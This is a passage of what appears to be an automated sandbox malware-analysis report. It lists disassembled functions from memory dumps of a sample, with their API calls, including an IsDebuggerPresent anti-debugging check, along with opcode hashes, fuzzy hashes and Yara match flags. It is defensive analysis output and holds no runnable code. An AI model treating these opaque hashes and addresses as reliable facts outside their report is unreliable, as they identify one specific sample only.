Opcode ID: ce89a4acebe00847e0bf7db2b2a5c1550e22667e6ae7b5dc377587a900902601
Instruction ID: 5682311db8f2ea5b7fb0b10b77ab1de1cec722dcfd082a676ba882e0b3775376
Opcode Fuzzy Hash: ce89a4acebe00847e0bf7db2b2a5c1550e22667e6ae7b5dc377587a900902601
Instruction Fuzzy Hash: 4B31D3749012299BDB62DF24DD89B8DBBB8EF08750F5081EAE41CA7250EB709F858F44

Function 04B5C31A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 04B5C412
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 04B5C41C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 04B5C429

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction ID: a82941ff1ab15166b792db7cf0a9715c62ed758552e61d8106de27d289b9f23f
Opcode Fuzzy Hash: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction Fuzzy Hash: F33187B59012289BCB21DF68D9887DDBBB4BF08314F5041EAE81CA7260E7749B858F45

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 04B5F174 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,04B5F173,00000000,0041D0A0,?,00000000,?,04B61714), ref: 04B5F196
TerminateProcess.KERNEL32(00000000,?,04B5F173,00000000,0041D0A0,?,00000000,?,04B61714), ref: 04B5F19D
ExitProcess.KERNEL32 ref: 04B5F1AF

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: fecdb4d13c6fab5794166d31b669ab8f10eaeaadc575efdef99003bf132c9f7e
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 8AE04671440108AFDB117F14DC08B98BB68FF40285F004060FC0586230CB3AE991CB80

Function 00989DC2 Relevance: 4.5, Strings: 3, Instructions: 742COMMON

Download Yara Rule

Strings

g7~, xrefs: 0098A666
aUj, xrefs: 0098A0F9
_1^~, xrefs: 0098A4BB

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: _1^~$aUj$g7~
API String ID: 0-3491341310
Opcode ID: a49e3058ca3d95872a742e59560c8fbd71f72000c5bff9106c66398a78ae3265
Instruction ID: 5e853f6584cba5966805f7cfef108fbc7847720db62fd45994343538d9b1f3b0
Opcode Fuzzy Hash: a49e3058ca3d95872a742e59560c8fbd71f72000c5bff9106c66398a78ae3265
Instruction Fuzzy Hash: 3232D3F3A0C6009FE304AE2DEC8567AB7E9EF94710F16492DEAC4C3744EA3598418797

Function 0098FDE7 Relevance: 4.1, Strings: 2, Instructions: 1617COMMON

Download Yara Rule

Strings

$v?, xrefs: 009903A1
A<M|, xrefs: 00990E93

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: $v?$A<M|
API String ID: 0-3736997752
Opcode ID: 1e37f8ce0252bb0b5b5f8a28ccaa70ba9bbce2b9beb3849b8f20c35464648eac
Instruction ID: df6f218153d0d519f244c617d9ee65c6a6d938be94ff256fe510f5dd2aaeb5f2
Opcode Fuzzy Hash: 1e37f8ce0252bb0b5b5f8a28ccaa70ba9bbce2b9beb3849b8f20c35464648eac
Instruction Fuzzy Hash: 22B206F360C2049FE304AE2DEC8567AFBE9EF94720F16493DEAC5C7344EA3558058696

Function 04B5092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 04B50966
GetProcAddress., xrefs: 04B509DC, 04B509DF, 04B509E4
., xrefs: 04B5095F

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4de6485bf74011bf796b56fbb2e865805ccd799282971c35517f1f1da47f014d
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5E3128B6900609DFEB10DF99C880BAEFBF5FF48324F15408AD941A7264D771EA45CBA4

Function 04CFE720 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: bc675e7e2c32dd5d6667c9c947488e9291fc5f904ebab751bcf1799eef5df357
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: 8EF14071E002199FDF54CFA9CC806ADBBF2FF88314F158269D919AB394D735AA01CB94

Function 0040F320 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: b8b31c7c7d4b51565c9f0be571567412a69d2e0e61470088d295795398052e15
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: BDF13D71E002199BDF24CFA8C9806AEB7B1FF88314F25827AD819B7785D735AD05CB94

Function 04B5F587 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: 4c36ee0b59cad29dc8c891e68949e655a3cab7557f15993b653628064c2345d8
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: 88F11C71E006199FDF14CFA9D880BADFBB1EF88314F1582A9D919EB354D731AA41CB90

Function 00983446 Relevance: 3.2, Strings: 2, Instructions: 700COMMON

Download Yara Rule

Strings

[.~, xrefs: 0098382D
:!|o, xrefs: 00983A2F

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: :!|o$[.~
API String ID: 0-2600687647
Opcode ID: 85532c79bd85e6f8c3d33be3fa94511cf0de3385453d783159c5238713e448fb
Instruction ID: 044e3046f4a5996c0d9bafb4318b6742f67b29d05eedee6e606c3dd2626ee86f
Opcode Fuzzy Hash: 85532c79bd85e6f8c3d33be3fa94511cf0de3385453d783159c5238713e448fb
Instruction Fuzzy Hash: 912204F3A08200AFE3146E2DEC8566ABBE5EFD4720F1A493DE6C4C7744E6354845CB96

Function 04D07CAA Relevance: 3.0, APIs: 1, Instructions: 1451COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04D07E25

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 74712b48cc111f858d1a31e9ba76b8487e7a66425b713155efa2ae010c3ee8cc
Instruction ID: b350ba3b11178a4c96b06029028249d2d73aeb114f9295d49a1eed172480854c
Opcode Fuzzy Hash: 74712b48cc111f858d1a31e9ba76b8487e7a66425b713155efa2ae010c3ee8cc
Instruction Fuzzy Hash: 9AC23971E046288FDB24DE28DD407A9B7B5FB88315F1485EAE84DE7280E774BE859F40

Function 00413CE6 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00413CE1,?,?,00000008,?,?,0041A8BE,00000000), ref: 00413F13

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction ID: d24852c949f4e96b46ec8ab4f7cfc98de9f7939d17e0a275251b5e9f75d92b01
Opcode Fuzzy Hash: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction Fuzzy Hash: D0B13B31610609DFD715CF28C48ABA57BB0FF45365F258659E89ACF3A1C339EA82CB44

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000E17F,?,?,00000008,?,?,1000DE14,00000000), ref: 1000E3B1

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction ID: 1a3fbdf84673f95942c1f426381f735e0c8de5aa42652e790f36daf84cbc2009
Opcode Fuzzy Hash: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction Fuzzy Hash: 9CB14A31610649CFE715CF28C486B997BE0FF453A4F258658E89ADF2A5C335EE82CB40

Function 04B63F4D Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04B63F48,?,?,00000008,?,?,04B6AB25,00000000), ref: 04B6417A

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction ID: 21d2339592113c717964aa90c13b246190a6ef4df263d7cbe9ac312b9673ad12
Opcode Fuzzy Hash: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction Fuzzy Hash: 4DB16E35210A04DFDB15CF28C486B657BE1FF45365F258698E89ACF2A2C339E992CF44

Function 00415D07 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553476085e68fa2a4c4149bcaaf72fd4b88f27a4c7c5ffc38eb151c09f90a700
Instruction ID: 5ef8e782818ac5c356667e56c32e051b370d413b7f744af6f0ed5b3d29dfc074
Opcode Fuzzy Hash: 553476085e68fa2a4c4149bcaaf72fd4b88f27a4c7c5ffc38eb151c09f90a700
Instruction Fuzzy Hash: 5141B6B1C04618AFDB24DF69CC89AEABBB8EF85304F1442DEE41DD3211DA359E858F14

Function 10007EA9 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f242089dd6e22cc4e11ed5014ed8825358ef4a723b8267613fb38b8f4a68e2
Instruction ID: 335cc09878d9dc9b483997cee4c12024a5fb43c2c5be13206e8e105b8fe94413
Opcode Fuzzy Hash: 30f242089dd6e22cc4e11ed5014ed8825358ef4a723b8267613fb38b8f4a68e2
Instruction Fuzzy Hash: 1B41B475C0425DAFEB10DF69CC89AEABBB9FF45240F1442D9E44DD3205DA359E848F10

Function 04B65F6E Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553476085e68fa2a4c4149bcaaf72fd4b88f27a4c7c5ffc38eb151c09f90a700
Instruction ID: f1195bd5354554cdfbc9267b2566b88579b64611f009a2d7e9cb8bfa10bba501
Opcode Fuzzy Hash: 553476085e68fa2a4c4149bcaaf72fd4b88f27a4c7c5ffc38eb151c09f90a700
Instruction Fuzzy Hash: 1C4187B5804219AEDF24DF79CC88AAABBB9EB45304F1442EDE45DD3210DA35AE858F50

Function 00409949 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009955,0040954F), ref: 0040994E

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9652067fe804f50468db8aa7efa2e901f492ebb5d8cd0c1da14f72adc0e17d38
Instruction ID: 160f56f175047b98bcb04f76aad41df29ef0812fdf3d1f646e40cac976d24dbb
Opcode Fuzzy Hash: 9652067fe804f50468db8aa7efa2e901f492ebb5d8cd0c1da14f72adc0e17d38
Instruction Fuzzy Hash:

Function 04B59BB0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00409955,04B597B6), ref: 04B59BB5

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9652067fe804f50468db8aa7efa2e901f492ebb5d8cd0c1da14f72adc0e17d38
Instruction ID: 160f56f175047b98bcb04f76aad41df29ef0812fdf3d1f646e40cac976d24dbb
Opcode Fuzzy Hash: 9652067fe804f50468db8aa7efa2e901f492ebb5d8cd0c1da14f72adc0e17d38
Instruction Fuzzy Hash:

Function 04CFC7DD Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 04CFC959

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9a85c65c23f40ba50eec2c71843e9256c62c19b7261cd3c4027d58e76c3ffa22
Instruction ID: 0257905985eaa07f768d739bcbebe1686af2c7c416bc964b2178b8b8ad58e03b
Opcode Fuzzy Hash: 9a85c65c23f40ba50eec2c71843e9256c62c19b7261cd3c4027d58e76c3ffa22
Instruction Fuzzy Hash: 3851277074068C5AFBF88D298C987FE679BBF02304F980419D783D7A81EA1DBB45D252

Function 04CFCA0F Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 04CFCB8B

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ebf2076ba5d84d712d2fc479d53ed6216a00f6ab66c0a6a9d0d2c4e0e479908f
Instruction ID: 86f290a25aed3d730e966e551bf0261eae4e64123fac5871c9a0dc21b3f8610c
Opcode Fuzzy Hash: ebf2076ba5d84d712d2fc479d53ed6216a00f6ab66c0a6a9d0d2c4e0e479908f
Instruction Fuzzy Hash: 1851467175074C96EBF8CA28CC947BE679BBB02308F084429CB47D7680E61DBB45E356

Function 0040D3DD Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 0040D559

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9a85c65c23f40ba50eec2c71843e9256c62c19b7261cd3c4027d58e76c3ffa22
Instruction ID: c0798f424e7f96b2d13f24c6de611a6824aa2a21751a5330029b757c988de18e
Opcode Fuzzy Hash: 9a85c65c23f40ba50eec2c71843e9256c62c19b7261cd3c4027d58e76c3ffa22
Instruction Fuzzy Hash: 8A513870E04644AADB389AED88957BF67999F01308F54043FD882F73C1D67DAD4E861E

Function 0040D60F Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 0040D78B

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ebf2076ba5d84d712d2fc479d53ed6216a00f6ab66c0a6a9d0d2c4e0e479908f
Instruction ID: 624e85d5d4f9056646b760ddf11ce83fdf6d5af507a6eedaef23f3504edbf722
Opcode Fuzzy Hash: ebf2076ba5d84d712d2fc479d53ed6216a00f6ab66c0a6a9d0d2c4e0e479908f
Instruction Fuzzy Hash: B5512370E0474896DB389AE88895BBF67995B12308F14483FD84AF73C1C67E9D4EC61E

Function 04B5D644 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 04B5D7C0

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9a85c65c23f40ba50eec2c71843e9256c62c19b7261cd3c4027d58e76c3ffa22
Instruction ID: 0d7b19e5ca356b217503e7086ff03d876f4ae3239fcb8fabfba853532498cc18
Opcode Fuzzy Hash: 9a85c65c23f40ba50eec2c71843e9256c62c19b7261cd3c4027d58e76c3ffa22
Instruction Fuzzy Hash: 0B51587030074896EB399B2888947BEF79EDB41304F04C7DECC8ADB2B1E655F9468B56

Function 04B5D876 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 04B5D9F2

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ebf2076ba5d84d712d2fc479d53ed6216a00f6ab66c0a6a9d0d2c4e0e479908f
Instruction ID: 62bad86e675b6c37203008022940c9b04fc941bc07d0198af922ffa9042b7050
Opcode Fuzzy Hash: ebf2076ba5d84d712d2fc479d53ed6216a00f6ab66c0a6a9d0d2c4e0e479908f
Instruction Fuzzy Hash: CA517D3060474896EB389E6888947BEE79EDB92308F48C7DDCD82DB2F0D651F946C352

Function 0081CB45 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

NTDL, xrefs: 0081CD1F

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: d8c52a8a73fe46d7a6973d3737ab124cdbe957af16f7973407d54b286b790b3d
Instruction ID: 1fe0f501ea4ab671da8a4f9af62810094f05cf30ec5d1a1cab95a1ba24f7b9f0
Opcode Fuzzy Hash: d8c52a8a73fe46d7a6973d3737ab124cdbe957af16f7973407d54b286b790b3d
Instruction Fuzzy Hash: 4961077158821E8FCB158F25C5401EF7BA4FF46324F20852AD846C7A42D6728CA1EF9E

Function 00853957 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

}yG, xrefs: 00853A2F

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: }yG
API String ID: 0-1630792953
Opcode ID: 493dff4f3923d128415c6445e1490dbf180b22a6d681c7596d75b5e30bbad7c4
Instruction ID: 77ce85ff895dc31dfb0f6d09037f79d4f7e06b5cddee98272bf75a283b8f2029
Opcode Fuzzy Hash: 493dff4f3923d128415c6445e1490dbf180b22a6d681c7596d75b5e30bbad7c4
Instruction Fuzzy Hash: EB4183F36082109BE3047E79DC957BAB7E5EF94320F2B493DD6C587B50EA3594418782

Function 04D60278 Relevance: 1.0, Instructions: 999COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c03514ecd8e67ed7b532ad94d1a15d2797b328fad0cb79edeb1abf63f00dbb0
Instruction ID: a71d01f2d4d45b7d0d1ba514811a030ecfe3843141084d60785083461bf2d607
Opcode Fuzzy Hash: 0c03514ecd8e67ed7b532ad94d1a15d2797b328fad0cb79edeb1abf63f00dbb0
Instruction Fuzzy Hash: 2A22C5FB348211BF7153C5856B54AFB67ADE6C6730330842BF887C6502F294EE496671

Function 04D037F9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86f883b8ef09fd6965bd3e087f319760c5b95891c44b121a5311ec8dd1b45090
Instruction ID: db96d4e104870dfdb4604e048bdcef2b5de764a7f997af51e6fd30e8cbbdc946
Opcode Fuzzy Hash: 86f883b8ef09fd6965bd3e087f319760c5b95891c44b121a5311ec8dd1b45090
Instruction Fuzzy Hash: 06322321E29F414DD7239638D922336A698AFB73C5F55D737F81AB6DA6EB28D0834100

Function 004143F9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86f883b8ef09fd6965bd3e087f319760c5b95891c44b121a5311ec8dd1b45090
Instruction ID: 77e6785c828baecb52582d09b1b14edac196714ae9321c17d64660e5f0acdfa7
Opcode Fuzzy Hash: 86f883b8ef09fd6965bd3e087f319760c5b95891c44b121a5311ec8dd1b45090
Instruction Fuzzy Hash: DB320531E69F414DD7239634D822336A288AFB73D5F55D737E826B5EA6EB28C4C34108

Function 04D030E6 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

